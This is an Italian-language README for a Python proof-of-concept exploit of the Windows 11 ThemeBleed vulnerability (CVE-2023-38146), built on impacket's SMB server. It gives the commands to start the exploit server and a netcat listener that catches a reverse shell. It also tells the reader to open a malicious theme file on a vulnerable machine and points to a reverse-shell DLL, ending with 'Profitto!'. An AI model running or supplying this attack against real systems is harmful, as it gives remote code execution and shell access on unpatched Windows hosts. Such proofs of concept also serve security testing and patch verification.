
PoC per il ThemeBleed Windows 11 CVE-2023-38146 scritto in python usando impacket. https://jnns.de/posts/cve-2023-38146-poc/
Fortemente ispirato da https://github.com/gabe-k/themebleed che funziona solo su Windows (motivo per cui ho deciso di scrivere questo).
Ho usato codice modificato da impacket smbserver.py (https://github.com/fortra/impacket/blob/master/impacket/smbserver.py)
Risorse utili: https://github.com/TalAloni/SMBLibrary/blob/master/SMBLibrary/NTFileStore/Enums/NtCreateFile/ShareAccess.cs
Post del blog: https://jnns.de/posts/cve-2023-38146-poc/
Installa i requisiti ed esegui l'applicazione:
pip3 install -r requirements.txt
python3 themebleed.py -r HOST -p 4711
# avvia il listener nc in un'altra shell
rlwrap -cAr nc -lvnp 4711
Usa il file "evil_theme.theme" o "evil_theme.themepack" su una macchina vulnerabile.
Profitto!
Metti una DLL con una funzione esportata "VerifyThemeVersion" nella cartella "./td/" con il nome "Aero.msstyles_vrf_evil.dll". Dovresti riuscire a trovare una DLL di esempio usando Google o usa il mio esempio https://github.com/Jnnshschl/ThemeBleedReverseShellDLL.
pip3 install -r requirements.txt
python3 themebleed.py -r HOST --no-dll
# avvia il listener nc in un'altra shell
rlwrap -cAr nc -lvnp 4711